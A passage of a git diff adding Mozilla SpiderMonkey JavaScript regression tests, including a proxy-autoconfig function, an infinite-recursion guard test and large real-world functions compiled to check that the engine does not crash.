+ || dnsDomainIs(host, "www.intercot.com")
+ || dnsDomainIs(host, "www.intergraffix.com")
+ || dnsDomainIs(host, "www.interknowledge.com")
+ || dnsDomainIs(host, "www.interlog.com")
+ || dnsDomainIs(host, "www.internet4kids.com")
+ || dnsDomainIs(host, "www.intersurf.com")
+ || dnsDomainIs(host, "www.inthe80s.com")
+ || dnsDomainIs(host, "www.inventorsmuseum.com")
+ || dnsDomainIs(host, "www.inwap.com")
+ || dnsDomainIs(host, "www.ioa.com")
+ || dnsDomainIs(host, "www.ionet.net")
+ || dnsDomainIs(host, "www.iowacity.com")
+ || dnsDomainIs(host, "www.ireland-now.com")
+ || dnsDomainIs(host, "www.ireland.com")
+ || dnsDomainIs(host, "www.irelandseye.com")
+ || dnsDomainIs(host, "www.irlgov.ie")
+ || dnsDomainIs(host, "www.isd.net")
+ || dnsDomainIs(host, "www.islandnet.com")
+ || dnsDomainIs(host, "www.isomedia.com")
+ || dnsDomainIs(host, "www.itftennis.com")
+ || dnsDomainIs(host, "www.itpi.dpi.state.nc.us")
+ || dnsDomainIs(host, "www.itskwanzaatime.com")
+ || dnsDomainIs(host, "www.itss.raytheon.com")
+ || dnsDomainIs(host, "www.iuma.com")
+ || dnsDomainIs(host, "www.iwaynet.net")
+ || dnsDomainIs(host, "www.iwc.com")
+ || dnsDomainIs(host, "www.iwight.gov.uk")
+ || dnsDomainIs(host, "www.ixpres.com")
+ || dnsDomainIs(host, "www.j.b.allen.btinternet.co.uk")
+ || dnsDomainIs(host, "www.jabuti.com")
+ || dnsDomainIs(host, "www.jackinthebox.com")
+ || dnsDomainIs(host, "www.jaffebros.com")
+ || dnsDomainIs(host, "www.jaguars.com")
+ || dnsDomainIs(host, "www.jamaica-gleaner.com")
+ || dnsDomainIs(host, "www.jamm.com")
+ || dnsDomainIs(host, "www.janbrett.com")
+ || dnsDomainIs(host, "www.janetstevens.com")
+ || dnsDomainIs(host, "www.japan-guide.com")
+ || dnsDomainIs(host, "www.jargon.net")
+ || dnsDomainIs(host, "www.javelinamx.com")
+ || dnsDomainIs(host, "www.jayjay.com")
+ || dnsDomainIs(host, "www.jazclass.aust.com")
+
+ )
+ return "PROXY proxy.hclib.org:80";
+ else
+ return "PROXY 172.16.100.20:8080";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-89474.js b/js/src/tests/non262/regress/regress-89474.js
new file mode 100644
index 0000000000..a3cf5b2fa7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-89474.js
@@ -0,0 +1,47 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 July 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 89474
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89474
+ *
+ * This test used to crash the JS shell. This was discovered
+ * by Darren DeRidder <darren.deridder@icarusproject.com
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89474;
+var summary = "Testing the JS shell doesn't crash on it.item()";
+var cnTest = 'it.item()';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ tryThis(cnTest); // Just testing that we don't crash on this
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+function tryThis(sEval)
+{
+ try
+ {
+ eval(sEval);
+ }
+ catch(e)
+ {
+ // If we get here, we didn't crash.
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-90445.js b/js/src/tests/non262/regress/regress-90445.js
new file mode 100644
index 0000000000..c20fb16362
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-90445.js
@@ -0,0 +1,295 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
+ * SUMMARY: Regression test for bug 90445
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90445
+ *
+ * Just seeing if this script will compile without crashing.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 90445;
+var summary = 'Testing this script will compile without crashing';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// The big function -
+function compte() {
+ var mois = getValueFromOption(document.formtest.mois);
+ var region = document.formtest.region.options.selectedIndex;
+ var confort = document.formtest.confort.options.selectedIndex;
+ var encadrement = document.formtest.encadrement.options.selectedIndex;
+ var typeVillage = document.formtest.type_village.options.selectedIndex;
+ var budget = document.formtest.budget.value;
+ var sport1 = document.formtest.sport1.options.selectedIndex;
+ var sport2 = document.formtest.sport2.options.selectedIndex;
+ var sport3 = document.formtest.sport3.options.selectedIndex;
+ var activite1 = document.formtest.activite1.options.selectedIndex;
+ var activite2 = document.formtest.activite2.options.selectedIndex;
+ var activite3 = document.formtest.activite3.options.selectedIndex;
+
+ var ret = 0;
+ var liste;
+ var taille;
+ var bl;
+ var i;
+ var j;
+ V=[
+ [1,14,19,1,3,3,3,0,[10,13,17,18,22,23,26,27,29,9],[13,17,18,20,4,5,6,7,8]],
+ [1,14,18,1,1,3,3,0,[1,11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6]],
+ [1,14,19,1,3,4,3,0,[13,17,18,22,23,25,26,27,4,9],[11,17,12,2,20,3,21,9,6]],
+ [1,14,19,1,1,3,3,0,[1,10,13,22,23,24,25,26,27,28,4,8,9],[13,17,6,9]],
+ [1,14,18,1,3,4,3,0,[12,13,22,23,27,28,7,9],[13,17,2,20,6,7,9]],
+ [1,14,19,5,4,2,3,0,[12,13,17,18,2,21,22,23,24,26,27,28,3,5,8,9],[1,10,13,17,18,19,20,5,21,7,8,9]],
+ [1,14,20,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,4,3,0,[10,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,19,20,21,9,6,5]],
+ [1,14,19,4,2,4,3,0,[13,17,2,22,26,28,3,5,6,7,8,9],[10,13,15,17,19,2,20,3,5,6,9]],
+ [1,14,19,8,4,4,3,0,[13,2,22,26,3,28,4,5,6,8,9],[14,15,17,18,19,2,20,21,9,7]],
+ [1,15,18,6,1,4,3,0,[10,11,13,14,15,2,23,26,27,5,8,9,6],[13,17,2,20,6,9]],
+ [1,14,19,2,3,5,3,0,[10,13,17,2,22,26,27,28,3,5,6,7,8,9],[1,10,13,15,17,18,19,20,6,7,9,22]],
+ [1,15,18,6,1,3,3,0,[12,13,15,2,22,23,26,4,5,9],[13,15,6,17,2,21,9]],
+ [1,19,21,1,4,4,3,0,[11,13,18,22,23,27,28,4],[17,2,20,21,9]],
+ [1,14,19,4,3,3,3,0,[10,13,17,2,22,23,24,26,27,3,4,6,8,9],[10,13,17,19,20,3,5,6,7,9]],
+ [1,13,19,6,3,3,3,0,[11,13,15,2,22,23,26,27,28,3,4,8,9],[1,13,17,18,20,6,9,22]],
+ [1,15,19,6,1,5,3,0,[10,13,2,22,23,26,27,4,5,8,11],[10,13,17,20,5,6,9]],
+ [1,15,18,6,3,2,1,0,[10,17,21,22,23,25,26,9],[13,16,17,20,21,8,9]],
+ [1,14,19,8,2,2,3,0,[13,16,21,22,23,24,26,27,3,4,5,6,8,9],[15,17,20,3,6,9]],
+ [1,14,19,5,3,2,3,0,[10,11,13,16,17,2,21,22,23,24,26,27,3,4,8,9],[1,10,13,17,18,19,20,5,6,7,9]],
+ [1,14,19,4,4,4,3,0,[10,13,2,22,23,26,27,3,4,5,6,7,8,9],[13,14,17,19,20,21,7,9]],
+ [1,14,19,1,3,2,3,0,[10,13,22,23,26,27,28,3,4,5,6,8,9],[15,17,18,2,20,6,8,9]],
+ [1,14,19,6,1,5,3,0,[10,11,13,22,25,26,4,5,7,8,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,4,4,3,0,[10,13,17,18,22,23,26,27,4,9,5],[1,13,14,17,18,20,3,21,7,8,9]],
+ [1,12,20,6,3,4,2,0,[10,13,14,17,18,22,23,25,26,27,29,9],[13,14,16,17,20,3,8,7,9]],
+ [1,14,19,1,3,3,3,0,[10,11,13,17,2,22,23,26,27,29,3,4,8,9],[1,10,13,14,15,17,18,20,5,21,7,8,9,25]],
+ [1,14,20,1,2,5,3,0,[12,13,17,22,23,26,28,3,4,8,9,27],[10,13,17,18,20,5,6,9,22]],
+ [1,14,19,1,2,3,3,0,[13,17,22,23,26,27,28,29,3,4,8,19],[13,17,18,20,6,7,8,9]],
+ [1,14,18,6,1,3,3,0,[12,13,15,2,22,23,26,27,28,4,9],[13,17,6,9]],
+ [1,14,19,5,3,4,3,0,[13,2,26,27,28,3,4,5,6],[1,10,13,15,17,18,2,20,3,21,7]],
+ [1,14,18,6,3,3,3,0,[13,2,22,23,26,27,8,3,4,5,9],[1,13,17,18,19,2,20,6,8,9,22]],
+ [1,14,19,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[13,14,16,17,3,7,8]],
+ [1,14,18,6,3,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,2,20,3,5,6,9]],
+ [1,14,20,1,3,2,3,0,[10,13,15,17,19,2,22,23,24,26,27,3,4,8,9],[13,17,18,20,6,7,8,9]],
+ [1,14,20,6,3,1,3,0,[10,13,16,2,22,23,26,27,3,4,6,8,9],[13,17,20,5,6,9]],
+ [1,14,19,3,3,3,3,0,[10,12,13,18,21,22,23,24,26,27,29,3,4,8,9],[1,10,17,20,6,8,9]],
+ [1,14,19,2,3,1,3,0,[12,13,17,2,22,23,24,26,27,28,4,8,9,19],[1,13,17,18,19,20,6,9]],
+ [1,14,19,5,4,2,3,0,[10,11,13,17,2,21,3,22,23,24,25,26,27,5,6,8,9],[13,17,20,3,21,9]],
+ [1,14,19,6,2,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,20,5,6,9]],
+ [1,14,20,6,3,2,3,0,[10,12,13,19,2,22,23,24,25,1,26,27,28,3,4,8,9],[10,13,17,18,20,3,5,6,7,8,9]],
+ [1,14,19,5,3,4,3,0,[12,13,2,26,27,28,3,4,5,6,8,9],[10,13,17,18,2,20,3,21,7]],
+ [1,14,19,6,3,4,3,0,[13,16,22,23,26,27,28,3,5,7,8,9],[10,13,17,18,19,2,20,5,6,7,8,9]],
+ [1,14,19,6,3,2,3,0,[10,13,22,23,24,25,26,27,3,4,7,8,9],[1,13,17,20,5,21,9,23]],
+ [1,14,18,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,8,9],[1,13,14,15,17,18,19,2,20,6,7,8,5]],
+ [1,14,19,6,2,3,3,0,[13,17,2,22,23,26,27,4,5,7,9],[13,14,16,17,9,22]],
+ [1,14,19,8,3,2,3,0,[13,18,22,23,24,27,28,3,4,5,8,9],[15,16,17,18,19,2,20,6,9]],
+ [1,14,19,1,3,4,2,0,[13,17,18,22,23,26,27,29,9,11,8],[13,17,20,3,21,7,8,9,6]],
+ [1,15,18,6,4,4,1,0,[13,17,22,25,27,29],[14,16,3,7,8]],
+ [1,14,18,6,3,1,3,0,[12,13,16,17,18,19,2,22,23,26,27,3,4,9],[13,17,20,3,6,9]],
+ [1,14,19,6,2,3,2,0,[13,2,22,23,26,27,9],[13,16,17,9]],
+ [1,14,19,8,3,4,3,0,[13,22,26,5,6,7,8,9],[13,15,17,18,19,2,20,6,9]],
+ [1,14,20,1,2,2,3,0,[11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,2,2,0,[10,13,17,18,22,23,24,25,26,27,9],[1,13,14,16,17,20,3,6,7,8,9]],
+ [1,14,18,6,3,5,3,0,[11,13,18,22,23,26,27,4,5,2],[1,10,13,17,2,20,5,6,9,22]],
+ [1,14,19,1,3,4,2,0,[17,22,23,26,27,13],[13,16,17,18,2,20,11,6,7,8,9]],
+ [1,15,18,6,1,2,3,0,[13,15,2,22,23,26,3,4,5,6,9],[1,13,17,20,6,9,5]],
+ [1,14,20,6,3,2,3,0,[10,11,24,13,2,22,23,26,27,3,4,5,7,8,9],[1,10,13,17,18,19,2,20,5,6,7,8,9,23]],
+ [1,14,19,4,4,4,3,0,[10,13,17,18,2,22,26,27,28,3,4,5,6,8,9,23],[14,15,17,19,2,20,3,21,7,9,10]],
+ [1,14,19,5,4,3,3,0,[10,13,17,21,22,23,26,27,5,8,9],[10,13,17,18,19,2,20,21,7,9]],
+ [1,14,19,7,4,4,3,0,[13,17,2,22,23,26,27,18,28,3,4,5,7,9],[10,13,17,18,19,2,20,3,21,9]],
+ [1,12,20,6,2,2,2,0,[10,11,13,17,18,22,23,25,26,27,29,8,9],[1,13,16,17,3,6,8,9,24]],
+ [1,14,18,6,3,3,1,0,[13,16,17,22,25,26,27,9],[13,16,17,20,21,8]],
+ [1,14,19,6,2,5,3,0,[13,17,2,22,23,26,27,4,5,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,2,3,3,0,[1,13,17,22,23,26,27,28,4,6,9],[13,17,18,20,6,9]],
+ [1,14,19,4,3,2,3,0,[12,13,17,19,2,22,23,24,26,27,28,3,4,5,8,9],[13,15,17,19,20,21,9,5]],
+ [1,14,19,5,4,2,3,0,[10,17,2,21,22,23,24,26,27,28,3,4,6,8,9],[1,10,13,14,17,19,20,3,21,7,8,9]],
+ [1,14,19,3,4,3,3,0,[10,12,13,2,21,22,23,26,27,4,7,8,9],[1,13,17,20,6,8,9]],
+ [1,14,19,5,3,2,1,0,[13,17,19,21,22,23,24,25,26,27,8,9],[1,14,17,3,6,8,13]],
+ [1,14,19,2,3,1,3,0,[10,11,13,17,18,19,22,24,26,27,4,7,8,9],[13,17,19,20,3,6,9]],
+ [1,14,19,6,2,3,3,0,[13,2,22,23,26,27,4,5,9],[1,13,17,18,20,6,9,24]],
+ [1,14,18,6,2,2,3,0,[11,13,22,23,24,25,26,27,3,4,5,6,8,9],[1,13,17,20,3,5,6,9]],
+ [1,14,18,1,2,2,3,0,[1,11,13,15,17,2,22,23,26,27,4,9],[1,13,17,18,20,6,9]],
+ [1,14,19,2,3,4,3,0,[10,13,22,26,27,28,29,3,4,5,6,7,8,9,36],[1,13,15,17,18,19,20,5,6,7,8,9]],
+ [1,14,19,6,2,1,2,0,[13,17,21,22,26,27,3,8,9],[13,17,20,6]],
+ [1,15,18,6,4,3,1,0,[10,13,16,17,20,22,25,27],[16,17,3,6,7,8,9]],
+ [1,14,19,4,3,5,3,0,[10,11,13,17,22,24,26,27,28,3,4,5,6,7,8,9],[10,13,15,17,2,20,3,6,7,9]],
+ [1,14,20,6,3,1,2,0,[10,11,17,18,19,22,23,25,26,27,29,8,9],[1,10,13,14,16,17,3,4,6,7,8,9]],
+ [1,15,18,6,3,3,1,0,[13,16,22,26,27,9,23],[13,16,17,20,21,6]],
+ [1,15,18,1,3,4,3,0,[10,13,17,2,22,23,25,26,27,28,29,4,9,12],[13,17,18,20,6,9,5]],
+ [1,21,25,6,2,1,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,4,4,0,[30,31,34,35],[6,3]],
+ [1,20,25,1,3,3,3,0,[9,10,13,17,18,22,23,26,27,29],[20,18,17,13,8,7,6,5,4]],
+ [1,21,25,6,2,5,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,31,96,79,34,35],[6,7]],
+ [1,21,25,1,3,4,3,0,[4,9,13,17,18,22,23,25,26,27],[21,20,17,12,11,9,3,2]],
+ [1,21,25,6,2,3,4,0,[30,34],[6,3]],
+ [1,22,25,1,3,4,3,0,[7,9,12,13,22,23,27,28],[20,17,13,9,7,6,2]],
+ [1,21,25,6,3,3,4,0,[30,31,34,35],[6]],
+ [1,20,25,5,4,2,3,0,[2,3,5,8,9,12,13,17,18,21,22,23,24,26,27,28],[21,20,19,18,17,13,10,9,8,7,5,1]],
+ [1,20,25,8,4,4,3,0,[2,3,4,5,6,9,13,22,26,28],[21,20,19,18,17,15,9]],
+ [1,24,25,6,2,2,3,0,[2,3,4,5,6,8,9,11,13,22,23,26,27,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,4,2,4,3,0,[2,3,5,6,7,8,9,12,13,17,22,26,28],[20,19,17,15,13,10,9,6,5,3,2]],
+ [1,20,25,2,3,5,3,0,[2,3,5,6,7,8,9,10,13,17,22,26,27,28],[20,19,18,17,13,10,9,7,6,1]],
+ [1,20,25,4,3,3,3,0,[2,3,4,6,8,9,13,17,22,23,24,26,27],[20,19,17,13,10,9,7,6,5,3]],
+ [1,20,25,1,3,2,3,0,[3,4,5,6,8,9,10,13,22,23,26,27,28],[20,18,17,15,9,8,6,2]],
+ [1,21,25,2,3,3,4,0,[30,31,34,35],[6,3,7]],
+ [1,21,25,6,3,2,4,0,[30,34],[6,3]],
+ [1,20,25,5,3,2,3,0,[8,9,10,11,13,16,17,21,22,23,24,26,27],[20,19,18,17,13,10,9,7,6,5,1]],
+ [1,20,25,2,2,5,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,22,23,26,27],[21,20,19,17,14,13,9,7]],
+ [1,24,25,6,3,3,3,0,[2,3,4,8,9,11,13,15,22,23,26,27,28],[20,18,17,13,9,6,1]],
+ [1,22,25,1,4,4,3,0,[4,11,13,18,22,23,27,28],[21,20,17,9]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,20,25,6,4,4,3,0,[9,10,13,17,18,22,23,26,27],[21,20,18,17,14,13,9,8,7,3,1]],
+ [1,24,25,6,3,4,2,0,[9,10,13,17,18,22,23,25,26,27,29],[20,17,16,14,13,9,8,7,3]],
+ [1,20,25,1,3,3,3,0,[2,3,4,8,9,10,11,13,17,22,23,26,27,29],[21,20,18,17,15,14,13,10,9,8,7,5,1]],
+ [1,20,25,1,2,3,3,0,[3,4,8,11,13,17,22,23,26,27,28,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,13,26,27,28],[21,20,18,17,15,13,10,3,2,1]],
+ [1,20,25,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[17,16,14,13,8,7,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,1,3,2,3,0,[2,3,4,8,9,10,13,15,17,19,22,23,24,26,27],[20,18,17,13,8,9,7,6]],
+ [1,20,25,2,3,3,3,0,[11,13,2,21,22,23,24,26,27,28,29,3,4,5,8,9],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,24,25,6,3,1,3,0,[2,3,4,6,8,9,10,13,16,22,23,26,27],[20,17,13,9,6,5]],
+ [1,20,25,3,3,3,3,0,[3,4,8,9,10,12,13,18,21,22,23,24,26,27,29],[20,17,10,9,8,6,1]],
+ [1,20,25,2,3,1,3,0,[2,4,8,9,12,13,17,22,23,24,26,27,28],[20,19,18,17,13,9,6,1]],
+ [1,20,25,5,4,2,3,0,[2,3,5,6,8,9,10,11,13,17,21,22,23,24,25,26,27],[21,20,17,13,9,3]],
+ [1,24,25,6,3,2,3,0,[2,3,4,8,9,10,13,19,22,23,24,25,26,27,28],[20,18,17,13,10,9,8,7,6,5,3]],
+ [1,21,25,6,2,1,4,0,[30,31,33,34],[6]],
+ [1,20,25,8,3,2,3,0,[3,4,5,8,9,13,17,18,22,23,24,27,28],[20,19,18,17,15,9,6]],
+ [1,21,25,6,4,4,4,0,[30,31,27,10,34],[6,3,7]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,1,3,4,2,0,[9,13,17,18,22,23,26,27,29],[20,17,13,9,8,7,6,3]],
+ [1,20,25,7,4,4,3,0,[2,3,4,5,7,9,13,17,18,22,23,26,27,28],[21,20,19,18,17,13,10,9,3,2]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,7]],
+ [1,21,25,6,3,3,4,0,[30,31,35],[6,3]],
+ [1,20,25,8,3,4,3,0,[5,6,7,8,9,13,22,26,28],[20,19,18,17,15,13,9,6,2]],
+ [1,21,25,1,2,2,3,0,[3,4,9,11,13,22,23,26,27,28,29],[20,18,17,13,9,6]],
+ [1,20,25,6,3,2,2,0,[9,10,13,17,18,22,23,25,26,27],[20,17,16,14,13,9,8,7,6,3,1]],
+ [1,24,25,6,3,2,3,0,[2,3,4,5,7,8,9,10,11,13,22,23,24,26,27],[20,19,18,17,13,10,9,8,7,6,5,2,1]],
+ [1,20,25,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,20,25,4,3,2,3,0,[2,3,4,5,6,8,9,12,13,17,19,22,23,24,26,27,28],[20,19,17,13,9]],
+ [1,20,25,5,4,3,3,0,[3,4,5,8,9,10,13,17,21,22,23,26,27],[21,20,19,18,17,13,10,9,7,2]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,17,18,22,23,26,27,28],[21,20,19,17,15,14,9,7,3,2]],
+ [1,21,25,6,3,3,4,0,[30,31,10,34],[6,3,7]],
+ [1,20,25,6,2,3,3,0,[1,4,6,9,13,17,22,23,26,27,28],[20,18,17,13,9,6]],
+ [1,21,25,6,2,2,2,0,[8,9,10,11,13,17,18,22,23,25,26,27,29],[17,16,13,9,8,6,3,1]],
+ [1,21,25,6,3,4,4,0,[30,32,33,27,34],[6,7]],
+ [1,20,25,3,4,3,3,0,[2,4,7,8,9,10,12,13,21,22,23,26,27],[20,17,13,9,8,6,1]],
+ [1,20,25,6,2,3,3,0,[],[20,18,17,13,9,6,1]],
+ [1,20,25,2,3,1,3,0,[4,7,8,9,10,11,13,17,18,19,22,24,26,27],[20,19,17,13,9,6,3]],
+ [1,20,25,5,3,2,4,0,[30,31,96],[6,3,7]],
+ [1,20,25,2,3,4,3,0,[3,4,5,6,7,8,9,10,13,22,26,27,28,29],[20,19,18,17,13,9,8,7,6,5,1]],
+ [1,21,25,6,3,3,4,0,[30,31,27,10,34],[6,7]],
+ [1,21,25,4,3,2,3,0,[3,4,5,6,8,9,10,11,13,18,19,22,23,26,27],[20,17,13,9]],
+ [1,21,25,6,4,3,4,0,[30,31,27,10,35],[6,7]],
+ [1,21,25,6,2,2,4,0,[30,34],[6,3]],
+ [1,24,25,6,2,1,2,0,[3,8,9,13,17,21,22,26,27],[20,17,13,6]],
+ [1,20,25,4,3,5,3,0,[3,4,5,6,7,8,9,10,11,13,17,22,24,26,27,28],[20,17,15,13,10,9,7,6,3,2]],
+ [1,20,26,6,4,3,4,0,[30,31,27,10,34,35],[6,3,7]],
+ [1,21,25,6,2,3,4,0,[30,33,34],[6]],
+ [1,21,25,6,3,1,2,0,[8,9,10,11,17,18,19,22,23,25,26,27,29],[17,16,14,13,10,9,8,7,6,4,3,1]],
+ [1,21,25,6,4,4,4,0,[30,31,10,34,35],[6,7]],
+ [1,21,25,6,3,2,4,0,[30,31,33,34],[6,3]],
+ [1,21,26,6,3,5,4,0,[30,31],[6,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,34],[6]],
+ [1,20,25,8,2,2,3,0,[3,4,5,6,8,9,13,16,21,22,23,24,26,27],[20,17,15,9,6,3]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,8,9,12,13,26,27,28],[21,20,18,17,13,10,3,2]],
+ [1,20,25,5,4,2,3,0,[3,4,6,8,9,10,17,21,22,23,24,26,27,28],[21,20,19,17,14,13,10,9,8,7,3,1]],
+ [1,13,19,6,2,3,3,0,[2,3,13,22,19,8,9,12,27],[9,6,17,20]],
+ [1,15,18,2,3,3,1,0,[25,24,13,16,19,8,9,10,17,22,29,23],[16,8,3,21,17,19]],
+ [1,14,19,2,3,3,3,0,[13,2,21,22,23,24,26,27,28,29,3,4,5,8,9,17],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,15,18,6,4,4,1,0,[29,16,17,22,27,10],[16,8,3,14,7]],
+ [1,14,20,6,3,4,3,0,[3,4,2,5,13,22,23,27,8,9],[20,7,8,2,9,21,17]],
+ [1,14,19,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,15,18,6,3,2,1,0,[25,13,22,23,17,29,16,9],[16,21,17,20]],
+ [1,24,25,6,2,3,3,0,[],[]],
+ [1,21,25,1,2,5,3,0,[],[]],
+ [1,21,25,6,3,4,3,0,[],[]]
+ ];
+
+ var nbVillages = V.length;
+
+ for (i=0; i<nbVillages; i++) {
+ if ((((mois == 0) && (1==V[i][0])) || ((mois >= V[i][1]) && (mois <= V[i][2]))) &&
+ ((region == 0) || (region == V[i][3] )) &&
+ ((confort == 0) || (confort == V[i][4] )) &&
+ ((encadrement == 0) ||
+ ((encadrement==3)&&((V[i][5]==1)||(V[i][5]==2)||(V[i][5] == 3))) ||
+ ((encadrement==2)&&((V[i][5]==1)||(V[i][5]==2) )) ||
+ ((encadrement==1)&&(encadrement==V[i][5]) ) ||
+ ((encadrement>3)&&(encadrement==V[i][5]) )) &&
+ ((typeVillage == 0) || (typeVillage == V[i][6] )) &&
+ ((budget == 0) || (budget == V[i][7] ))) {
+
+ bl = 1;
+ if ((sport1 != 0) || (sport2 != 0) || (sport3 != 0)) {
+ bl = 0;
+ liste = V[i][8];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((sport1 == 0) || ((sport1 != 0) && (sport1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport2 == 0) || ((sport2 != 0) && (sport2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport3 == 0) || ((sport3 != 0) && (sport3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if ((bl==1) && ((activite1 != 0) || (activite2 != 0) || (activite3 != 0))) {
+ bl = 0;
+ liste = V[i][9];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((activite1 == 0) || ((activite1 != 0) && (activite1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite2 == 0) || ((activite2 != 0) && (activite2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite3 == 0) || ((activite3 != 0) && (activite3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if (1 == bl) {
+ ret++;
+ }
+ }
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96128-n.js b/js/src/tests/non262/regress/regress-96128-n.js
new file mode 100644
index 0000000000..4d7cbb0e64
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96128-n.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 Aug 2001
+ *
+ * SUMMARY: Negative test that JS infinite recursion protection works.
+ * We expect the code here to fail (i.e. exit code 3), but NOT crash.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96128
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96128;
+var summary = 'Testing that JS infinite recursion protection works';
+
+
+function objRecurse()
+{
+ /*
+ * jband:
+ *
+ * Causes a stack overflow crash in debug builds of both the browser
+ * and the shell. In the release builds this is safely caught by the
+ * "too much recursion" mechanism. If I remove the 'new' from the code below
+ * this is safely caught in both debug and release builds. The 'new' causes a
+ * lookup for the Constructor name and seems to (at least) double the number
+ * of items on the C stack for the given interpLevel depth.
+ */
+ return new objRecurse();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // we expect this to fail (exit code 3), but NOT crash. -
+ var obj = new objRecurse();
+}
diff --git a/js/src/tests/non262/regress/regress-96526-001.js b/js/src/tests/non262/regress/regress-96526-001.js
new file mode 100644
index 0000000000..bbde0ce597
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-001.js
@@ -0,0 +1,504 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Function definition with lots of branches, from http://www.newyankee.com
+ */
+function setaction(jumpto)
+{
+ if (jumpto == 0) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
